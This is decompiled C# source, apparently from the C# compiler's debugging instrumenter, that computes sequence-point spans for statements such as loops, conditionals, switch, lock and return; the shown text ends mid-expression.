//IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Unknown result type (might be due to invalid IL or missing references) + //IL_00f5: Unknown result type (might be due to invalid IL or missing references) + //IL_00f9: Unknown result type (might be due to invalid IL or missing references) + //IL_00fe: Unknown result type (might be due to invalid IL or missing references) + //IL_0107: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_0116: Unknown result type (might be due to invalid IL or missing references) + //IL_011b: Unknown result type (might be due to invalid IL or missing references) + //IL_012a: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Unknown result type (might be due to invalid IL or missing references) + //IL_0138: Unknown result type (might be due to invalid IL or missing references) + //IL_0149: Unknown result type (might be due to invalid IL or missing references) + rewritten = base.InstrumentExpressionStatement(original, rewritten); + if (original.IsConstructorInitializer()) + { + SyntaxNode syntax = original.Syntax; + SyntaxToken val; + TextSpan span; + if (!(syntax is ConstructorDeclarationSyntax constructorDeclarationSyntax)) + { + if (!(syntax is ConstructorInitializerSyntax constructorInitializerSyntax)) + { + if (!(syntax is TypeDeclarationSyntax typeDeclarationSyntax)) + { + if (syntax is PrimaryConstructorBaseTypeSyntax primaryConstructorBaseTypeSyntax) + { + return new BoundSequencePointWithSpan((SyntaxNode)(object)primaryConstructorBaseTypeSyntax, rewritten, ((SyntaxNode)primaryConstructorBaseTypeSyntax).Span); + } + throw ExceptionUtilities.UnexpectedValue((object)original.Syntax.Kind()); + } + BoundStatement statementOpt = rewritten; + val = typeDeclarationSyntax.Identifier; + int spanStart = ((SyntaxToken)(ref val)).SpanStart; + span = ((SyntaxNode)typeDeclarationSyntax.ParameterList).Span; + return new BoundSequencePointWithSpan((SyntaxNode)(object)typeDeclarationSyntax, statementOpt, TextSpan.FromBounds(spanStart, ((TextSpan)(ref span)).End)); + } + BoundStatement statementOpt2 = rewritten; + val = constructorInitializerSyntax.ThisOrBaseKeyword; + int spanStart2 = ((SyntaxToken)(ref val)).SpanStart; + val = constructorInitializerSyntax.ArgumentList.CloseParenToken; + span = ((SyntaxToken)(ref val)).Span; + return new BoundSequencePointWithSpan((SyntaxNode)(object)constructorInitializerSyntax, statementOpt2, TextSpan.FromBounds(spanStart2, ((TextSpan)(ref span)).End)); + } + TextSpan span2; + if (constructorDeclarationSyntax.Modifiers.Any(SyntaxKind.StaticKeyword)) + { + val = constructorDeclarationSyntax.Body.OpenBraceToken; + int spanStart3 = ((SyntaxToken)(ref val)).SpanStart; + val = constructorDeclarationSyntax.Body.OpenBraceToken; + span = ((SyntaxToken)(ref val)).Span; + int end = ((TextSpan)(ref span)).End; + span2 = TextSpan.FromBounds(spanStart3, end); + } + else + { + span2 = CreateSpan(constructorDeclarationSyntax.Modifiers, SyntaxNodeOrToken.op_Implicit(constructorDeclarationSyntax.Identifier), SyntaxNodeOrToken.op_Implicit(constructorDeclarationSyntax.ParameterList.CloseParenToken)); + } + return new BoundSequencePointWithSpan((SyntaxNode)(object)constructorDeclarationSyntax, rewritten, span2); + } + if (original.Syntax is ParameterSyntax parameterSyntax) + { + return new BoundSequencePointWithSpan((SyntaxNode)(object)parameterSyntax, rewritten, CreateSpan(parameterSyntax)); + } + return AddSequencePoint(rewritten); + } + + public override BoundStatement InstrumentFieldOrPropertyInitializer(BoundStatement original, BoundStatement rewritten) + { + rewritten = base.InstrumentFieldOrPropertyInitializer(original, rewritten); + SyntaxNode syntax = original.Syntax; + if (rewritten.Kind == BoundKind.Block) + { + BoundBlock boundBlock = (BoundBlock)rewritten; + return boundBlock.Update(boundBlock.Locals, boundBlock.LocalFunctions, boundBlock.HasUnsafeModifier, boundBlock.Instrumentation, ImmutableArray.Create(InstrumentFieldOrPropertyInitializer(boundBlock.Statements.Single(), syntax))); + } + return InstrumentFieldOrPropertyInitializer(rewritten, syntax); + } + + private static BoundStatement InstrumentFieldOrPropertyInitializer(BoundStatement rewritten, SyntaxNode syntax) + { + if (syntax.IsKind(SyntaxKind.Parameter)) + { + return rewritten; + } + SyntaxNode parent = syntax.Parent.Parent; + return parent.Kind() switch + { + SyntaxKind.VariableDeclarator => AddSequencePoint((VariableDeclaratorSyntax)(object)parent, rewritten), + SyntaxKind.PropertyDeclaration => AddSequencePoint((PropertyDeclarationSyntax)(object)parent, rewritten), + _ => throw ExceptionUtilities.UnexpectedValue((object)parent.Kind()), + }; + } + + public override BoundStatement InstrumentGotoStatement(BoundGotoStatement original, BoundStatement rewritten) + { + return AddSequencePoint(base.InstrumentGotoStatement(original, rewritten)); + } + + public override BoundStatement InstrumentThrowStatement(BoundThrowStatement original, BoundStatement rewritten) + { + return AddSequencePoint(base.InstrumentThrowStatement(original, rewritten)); + } + + public override BoundStatement InstrumentYieldBreakStatement(BoundYieldBreakStatement original, BoundStatement rewritten) + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + rewritten = base.InstrumentYieldBreakStatement(original, rewritten); + if (original.WasCompilerGenerated && original.Syntax.Kind() == SyntaxKind.Block) + { + SyntaxNode syntax = original.Syntax; + BoundStatement statementOpt = rewritten; + SyntaxToken closeBraceToken = ((BlockSyntax)(object)original.Syntax).CloseBraceToken; + return new BoundSequencePointWithSpan(syntax, statementOpt, ((SyntaxToken)(ref closeBraceToken)).Span); + } + return AddSequencePoint(rewritten); + } + + public override BoundStatement InstrumentYieldReturnStatement(BoundYieldReturnStatement original, BoundStatement rewritten) + { + return AddSequencePoint(base.InstrumentYieldReturnStatement(original, rewritten)); + } + + public override void InstrumentBlock(BoundBlock original, LocalRewriter rewriter, ref TemporaryArray additionalLocals, out BoundStatement? prologue, out BoundStatement? epilogue, out BoundBlockInstrumentation? instrumentation) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + base.InstrumentBlock(original, rewriter, ref additionalLocals, out BoundStatement prologue2, out BoundStatement epilogue2, out instrumentation); + prologue = prologue2; + epilogue = epilogue2; + if (original.Syntax is BlockSyntax blockSyntax && !original.WasCompilerGenerated) + { + SyntaxNode syntax = original.Syntax; + BoundStatement statementOpt = prologue2; + SyntaxToken val = blockSyntax.OpenBraceToken; + prologue = new BoundSequencePointWithSpan(syntax, statementOpt, ((SyntaxToken)(ref val)).Span); + SyntaxNode parent = original.Syntax.Parent; + if (parent == null || (!parent.IsAnonymousFunction() && !(parent is BaseMethodDeclarationSyntax))) + { + SyntaxNode syntax2 = original.Syntax; + BoundStatement statementOpt2 = epilogue2; + val = blockSyntax.CloseBraceToken; + epilogue = new BoundSequencePointWithSpan(syntax2, statementOpt2, ((SyntaxToken)(ref val)).Span); + } + return; + } + if (original != rewriter.CurrentMethodBody) + { + return; + } + if (prologue2 != null || rewriter.Factory.TopLevelMethod is SynthesizedSimpleProgramEntryPointSymbol) + { + goto IL_00e1; + } + if (original.Syntax is RecordDeclarationSyntax recordDeclarationSyntax) + { + ParameterListSyntax parameterList = recordDeclarationSyntax.ParameterList; + if (parameterList != null && parameterList.Parameters.Count > 0) + { + goto IL_00e1; + } + } + goto IL_00eb; + IL_00e1: + prologue = BoundSequencePoint.CreateHidden(prologue2); + goto IL_00eb; + IL_00eb: + if (epilogue2 != null) + { + epilogue = BoundSequencePoint.CreateHidden(epilogue2); + } + } + + public override BoundExpression InstrumentDoStatementCondition(BoundDoStatement original, BoundExpression rewrittenCondition, SyntheticBoundNodeFactory factory) + { + return AddConditionSequencePoint(base.InstrumentDoStatementCondition(original, rewrittenCondition, factory), original.Syntax, factory); + } + + public override BoundExpression InstrumentWhileStatementCondition(BoundWhileStatement original, BoundExpression rewrittenCondition, SyntheticBoundNodeFactory factory) + { + return AddConditionSequencePoint(base.InstrumentWhileStatementCondition(original, rewrittenCondition, factory), original.Syntax, factory); + } + + public override BoundStatement InstrumentDoStatementConditionalGotoStart(BoundDoStatement original, BoundStatement ifConditionGotoStart) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + DoStatementSyntax doStatementSyntax = (DoStatementSyntax)(object)original.Syntax; + SyntaxToken val = doStatementSyntax.WhileKeyword; + int spanStart = ((SyntaxToken)(ref val)).SpanStart; + val = doStatementSyntax.SemicolonToken; + TextSpan span = ((SyntaxToken)(ref val)).Span; + TextSpan span2 = TextSpan.FromBounds(spanStart, ((TextSpan)(ref span)).End); + return new BoundSequencePointWithSpan((SyntaxNode)(object)doStatementSyntax, base.InstrumentDoStatementConditionalGotoStart(original, ifConditionGotoStart), span2); + } + + public override BoundStatement InstrumentWhileStatementConditionalGotoStartOrBreak(BoundWhileStatement original, BoundStatement ifConditionGotoStart) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + WhileStatementSyntax whileStatementSyntax = (WhileStatementSyntax)(object)original.Syntax; + SyntaxToken val = whileStatementSyntax.WhileKeyword; + int spanStart = ((SyntaxToken)(ref val)).SpanStart; + val = whileStatementSyntax.CloseParenToken; + TextSpan span = ((SyntaxToken)(ref val)).Span; + TextSpan span2 = TextSpan.FromBounds(spanStart, ((TextSpan)(ref span)).End); + return new BoundSequencePointWithSpan((SyntaxNode)(object)whileStatementSyntax, base.InstrumentWhileStatementConditionalGotoStartOrBreak(original, ifConditionGotoStart), span2); + } + + public override BoundStatement InstrumentForEachStatementCollectionVarDeclaration(BoundForEachStatement original, BoundStatement? collectionVarDecl) + { + return new BoundSequencePoint((SyntaxNode)(object)((CommonForEachStatementSyntax)(object)original.Syntax).Expression, base.InstrumentForEachStatementCollectionVarDeclaration(original, collectionVarDecl)); + } + + public override BoundStatement InstrumentForEachStatementDeconstructionVariablesDeclaration(BoundForEachStatement original, BoundStatement iterationVarDecl) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + ForEachVariableStatementSyntax forEachVariableStatementSyntax = (ForEachVariableStatementSyntax)(object)original.Syntax; + return new BoundSequencePointWithSpan((SyntaxNode)(object)forEachVariableStatementSyntax, base.InstrumentForEachStatementDeconstructionVariablesDeclaration(original, iterationVarDecl), ((SyntaxNode)forEachVariableStatementSyntax.Variable).Span); + } + + public override BoundStatement InstrumentForEachStatement(BoundForEachStatement original, BoundStatement rewritten) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + CommonForEachStatementSyntax commonForEachStatementSyntax = (CommonForEachStatementSyntax)(object)original.Syntax; + SyntaxToken awaitKeyword = commonForEachStatementSyntax.AwaitKeyword; + SyntaxToken val = default(SyntaxToken); + TextSpan val2; + if (!(awaitKeyword != val)) + { + val = commonForEachStatementSyntax.ForEachKeyword; + val2 = ((SyntaxToken)(ref val)).Span; + } + else + { + val = commonForEachStatementSyntax.AwaitKeyword; + TextSpan span = ((SyntaxToken)(ref val)).Span; + int start = ((TextSpan)(ref span)).Start; + val = commonForEachStatementSyntax.ForEachKeyword; + span = ((SyntaxToken)(ref val)).Span; + val2 = TextSpan.FromBounds(start, ((TextSpan)(ref span)).End); + } + TextSpan span2 = val2; + BoundSequencePointWithSpan item = new BoundSequencePointWithSpan((SyntaxNode)(object)commonForEachStatementSyntax, null, span2); + return new BoundStatementList((SyntaxNode)(object)commonForEachStatementSyntax, ImmutableArray.Create(item, base.InstrumentForEachStatement(original, rewritten))); + } + + public override BoundStatement InstrumentForEachStatementIterationVarDeclaration(BoundForEachStatement original, BoundStatement iterationVarDecl) + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + TextSpan span; + switch (original.Syntax.Kind()) + { + case SyntaxKind.ForEachStatement: + { + ForEachStatementSyntax forEachStatementSyntax = (ForEachStatementSyntax)(object)original.Syntax; + int spanStart = ((SyntaxNode)forEachStatementSyntax.Type).SpanStart; + SyntaxToken identifier = forEachStatementSyntax.Identifier; + TextSpan span2 = ((SyntaxToken)(ref identifier)).Span; + span = TextSpan.FromBounds(spanStart, ((TextSpan)(ref span2)).End); + break; + } + case SyntaxKind.ForEachVariableStatement: + span = ((SyntaxNode)((ForEachVariableStatementSyntax)(object)original.Syntax).Variable).Span; + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)original.Syntax.Kind()); + } + return new BoundSequencePointWithSpan(original.Syntax, base.InstrumentForEachStatementIterationVarDeclaration(original, iterationVarDecl), span); + } + + public override BoundStatement InstrumentForStatementConditionalGotoStartOrBreak(BoundForStatement original, BoundStatement branchBack) + { + return BoundSequencePoint.Create(original.Condition?.Syntax, base.InstrumentForStatementConditionalGotoStartOrBreak(original, branchBack)); + } + + public override BoundStatement InstrumentForEachStatementConditionalGotoStart(BoundForEachStatement original, BoundStatement branchBack) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + CommonForEachStatementSyntax commonForEachStatementSyntax = (CommonForEachStatementSyntax)(object)original.Syntax; + BoundStatement statementOpt = base.InstrumentForEachStatementConditionalGotoStart(original, branchBack); + SyntaxToken inKeyword = commonForEachStatementSyntax.InKeyword; + return new BoundSequencePointWithSpan((SyntaxNode)(object)commonForEachStatementSyntax, statementOpt, ((SyntaxToken)(ref inKeyword)).Span); + } + + public override BoundExpression InstrumentForStatementCondition(BoundForStatement original, BoundExpression rewrittenCondition, SyntheticBoundNodeFactory factory) + { + return AddConditionSequencePoint(base.InstrumentForStatementCondition(original, rewrittenCondition, factory), original.Syntax, factory); + } + + public override BoundStatement InstrumentIfStatement(BoundIfStatement original, BoundStatement rewritten) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + IfStatementSyntax ifStatementSyntax = (IfStatementSyntax)(object)original.Syntax; + BoundStatement statementOpt = base.InstrumentIfStatement(original, rewritten); + SyntaxToken val = ifStatementSyntax.IfKeyword; + int spanStart = ((SyntaxToken)(ref val)).SpanStart; + val = ifStatementSyntax.CloseParenToken; + TextSpan span = ((SyntaxToken)(ref val)).Span; + return new BoundSequencePointWithSpan((SyntaxNode)(object)ifStatementSyntax, statementOpt, TextSpan.FromBounds(spanStart, ((TextSpan)(ref span)).End), original.HasErrors); + } + + public override BoundExpression InstrumentIfStatementCondition(BoundIfStatement original, BoundExpression rewrittenCondition, SyntheticBoundNodeFactory factory) + { + return AddConditionSequencePoint(base.InstrumentIfStatementCondition(original, rewrittenCondition, factory), original.Syntax, factory); + } + + public override BoundStatement InstrumentLabelStatement(BoundLabeledStatement original, BoundStatement rewritten) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + LabeledStatementSyntax labeledStatementSyntax = (LabeledStatementSyntax)(object)original.Syntax; + SyntaxToken val = labeledStatementSyntax.Identifier; + int spanStart = ((SyntaxToken)(ref val)).SpanStart; + val = labeledStatementSyntax.ColonToken; + TextSpan span = ((SyntaxToken)(ref val)).Span; + TextSpan span2 = TextSpan.FromBounds(spanStart, ((TextSpan)(ref span)).End); + return new BoundSequencePointWithSpan((SyntaxNode)(object)labeledStatementSyntax, base.InstrumentLabelStatement(original, rewritten), span2); + } + + public override BoundStatement InstrumentUserDefinedLocalInitialization(BoundLocalDeclaration original, BoundStatement rewritten) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return AddSequencePoint((original.Syntax.Kind() == SyntaxKind.VariableDeclarator) ? ((VariableDeclaratorSyntax)(object)original.Syntax) : ((LocalDeclarationStatementSyntax)(object)original.Syntax).Declaration.Variables.First(), base.InstrumentUserDefinedLocalInitialization(original, rewritten)); + } + + public override BoundStatement InstrumentLockTargetCapture(BoundLockStatement original, BoundStatement lockTargetCapture) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + LockStatementSyntax lockStatementSyntax = (LockStatementSyntax)(object)original.Syntax; + BoundStatement statementOpt = base.InstrumentLockTargetCapture(original, lockTargetCapture); + SyntaxToken val = lockStatementSyntax.LockKeyword; + int spanStart = ((SyntaxToken)(ref val)).SpanStart; + val = lockStatementSyntax.CloseParenToken; + TextSpan span = ((SyntaxToken)(ref val)).Span; + return new BoundSequencePointWithSpan((SyntaxNode)(object)lockStatementSyntax, statementOpt, TextSpan.FromBounds(spanStart, ((TextSpan)(ref span)).End)); + } + + public override BoundStatement InstrumentReturnStatement(BoundReturnStatement original, BoundStatement rewritten) + { + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + rewritten = base.InstrumentReturnStatement(original, rewritten); + if (original.WasCompilerGenerated && original.ExpressionOpt == null && original.Syntax.Kind() == SyntaxKind.Block) + { + SyntaxNode syntax = original.Syntax; + BoundStatement statementOpt = rewritten; + SyntaxToken closeBraceToken = ((BlockSyntax)(object)original.Syntax).CloseBraceToken; + return new BoundSequencePointWithSpan(syntax, statementOpt, ((SyntaxToken)(ref closeBraceToken)).Span); + } + if (original.Syntax is ParameterSyntax parameterSyntax) + { + return new BoundSequencePointWithSpan((SyntaxNode)(object)parameterSyntax, rewritten, CreateSpan(parameterSyntax)); + } + return new BoundSequencePoint(original.Syntax, rewritten); + } + + public override BoundStatement InstrumentSwitchStatement(BoundSwitchStatement original, BoundStatement rewritten) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + SwitchStatementSyntax switchStatementSyntax = (SwitchStatementSyntax)(object)original.Syntax; + SyntaxToken val = switchStatementSyntax.SwitchKeyword; + int spanStart = ((SyntaxToken)(ref val)).SpanStart; + SyntaxToken closeParenToken = switchStatementSyntax.CloseParenToken; + val = default(SyntaxToken); + TextSpan span; + int end; + if (!(closeParenToken != val)) + { + span = ((SyntaxNode)switchStatementSyntax.Expression).Span; + end = ((TextSpan)(ref span)).End; + } + else + { + val = switchStatementSyntax.CloseParenToken; + span = ((SyntaxToken)(ref val)).Span; + end = ((TextSpan)(ref span)).End; + } + TextSpan span2 = TextSpan.FromBounds(spanStart, end); + return new BoundSequencePointWithSpan((SyntaxNode)(object)switchStatementSyntax, base.InstrumentSwitchStatement(original, rewritten), span2); + } + + public override BoundStatement InstrumentSwitchWhenClauseConditionalGotoBody(BoundExpression original, BoundStatement ifConditionGotoBody) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + WhenClauseSyntax whenClauseSyntax = original.Syntax.FirstAncestorOrSelf((Func)null, true); + return new BoundSequencePointWithSpan((SyntaxNode)(object)whenClauseSyntax, base.InstrumentSwitchWhenClauseConditionalGotoBody(original, ifConditionGotoBody), ((SyntaxNode)whenClauseSyntax).Span); + } + + public override BoundStatement InstrumentUsingTargetCapture(BoundUsingStatement original, BoundStatement usingTargetCapture) + { + return AddSequencePoint((UsingStatementSyntax)(object)original.Syntax, base.InstrumentUsingTargetCapture(original, usingTargetCapture)); + } + + public override void InstrumentCatchBlock(BoundCatchBlock original, ref BoundExpression? rewrittenSource, ref BoundStatementList? rewrittenFilterPrologue, ref BoundExpression? rewrittenFilter, ref BoundBlock rewrittenBody, ref TypeSymbol? rewrittenType, SyntheticBoundNodeFactory factory) + { + base.InstrumentCatchBlock(original, ref rewrittenSource, ref rewrittenFilterPrologue, ref rewrittenFilter, ref rewrittenBody, ref rewrittenType, factory); + if (!original.WasCompilerGenerated && rewrittenFilter != null) + { + CatchFilterClauseSyntax filter = ((CatchClauseSyntax)(object)original.Syntax).Filter; + rewrittenFilter = AddConditionSequencePoint(new BoundSequencePointExpression((SyntaxNode)(object)filter, rewrittenFilter, rewrittenFilter.Type), (SyntaxNode)(object)filter, factory); + } + } + + public override BoundExpression InstrumentSwitchStatementExpression(BoundStatement original, BoundExpression rewrittenExpression, SyntheticBoundNodeFactory factory) + { + return AddConditionSequencePoint(base.InstrumentSwitchStatementExpression(original, rewrittenExpression, factory), original.Syntax, factory); + } + + public override BoundExpression InstrumentSwitchExpressionArmExpression(BoundExpression original, BoundExpression rewrittenExpression, SyntheticBoundNodeFactory factory) + { + return new BoundSequencePointExpression(original.Syntax, base.InstrumentSwitchExpressionArmExpression(original, rewrittenExpression, factory), rewrittenExpression.Type); + } + + public override BoundStatement InstrumentSwitchBindCasePatternVariables(BoundStatement bindings) + { + return BoundSequencePoint.CreateHidden(base.InstrumentSwitchBindCasePatternVariables(bindings)); + } + + private static BoundStatement AddSequencePoint(BoundStatement node) + { + return new BoundSequencePoint(node.Syntax, node); + } + + internal static BoundStatement AddSequencePoint(VariableDeclaratorSyntax declaratorSyntax, BoundStatement rewrittenStatement) + { + GetBreakpointSpan(declaratorSyntax, out SyntaxNode _, out TextSpan? part); + BoundStatement boundStatement = BoundSequencePoint.Create((SyntaxNode?)(object)declaratorSyntax, part, rewrittenStatement); + boundStatement.WasCompilerGenerated = rewrittenStatement.WasCompilerGenerated; + return boundStatement; + } + + internal static BoundStatement AddSequencePoint(PropertyDeclarationSyntax declarationSyntax, BoundStatement rewrittenStatement) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + int spanStart = ((SyntaxNode)declarationSyntax.Initializer.Value).SpanStart; + TextSpan span = ((SyntaxNode)declarationSyntax.Initializer).Span; + int end = ((TextSpan)(ref span)).End; + TextSpan value = TextSpan.FromBounds(spanStart, end); + BoundStatement boundStatement = BoundSequencePoint.Create((SyntaxNode?)(object)declarationSyntax, value, rewrittenStatement); + boundStatement.WasCompilerGenerated = rewrittenStatement.WasCompilerGenerated; + return boundStatement; + } + + internal static BoundStatement AddSequencePoint(UsingStatementSyntax usingSyntax, BoundStatement rewrittenStatement) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + TextSpan span = ((SyntaxNode)usingSyntax).Span; + int start = ((TextSpan)(ref span)).Start; + SyntaxToken closeParenToken = usingSyntax.CloseParenToken; + span = ((SyntaxToken)(ref closeParenToken)).Span; + int end = ((TextSpan)(ref span)).End; + TextSpan span2 = TextSpan.FromBounds(start, end); + return new BoundSequencePointWithSpan((SyntaxNode)(object)usingSyntax, rewrittenStatement, span2); + } + + private static TextSpan CreateSpan(ParameterSyntax parameter) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + return CreateSpan(parameter.Modifiers, SyntaxNodeOrToken.op_Implicit((SyntaxNode)(object)parameter.Type), SyntaxNodeOrToken.op_Implicit(parameter.Identifier)); + } + + private static TextSpan CreateSpan(SyntaxTokenList startOpt, SyntaxNodeOrToken startFallbackOpt, SyntaxNodeOrToken endOpt) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + int num; + if (((SyntaxTokenList)(ref startOpt)).Count <= 0) + { + num = ((!(startFallbackOpt != default(SyntaxNodeOrToken))) ? ((SyntaxNodeOrToken)(ref endOpt)).SpanStart : ((SyntaxNodeOrToken)(ref startFallbackOpt)).SpanStart); + } + else + { + SyntaxToken val = ((SyntaxTokenList)(ref startOpt)).First(); + num = ((SyntaxToken)(ref val)).SpanStart; + } + int num2 = ((!(endOpt != default(SyntaxNodeOrToken))) ? GetEndPosition(startFallbackOpt) : GetEndPosition(endOpt)); + return TextSpan.FromBounds(num, num2); + } + + private static int GetEndPosition(SyntaxNodeOrToken nodeOrToken) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode val = default(SyntaxNode); + TextSpan span; + if (!((SyntaxNodeOrToken)(ref nodeOrToken)).AsNode(ref val)) + { + span = ((SyntaxNodeOrToken)(ref 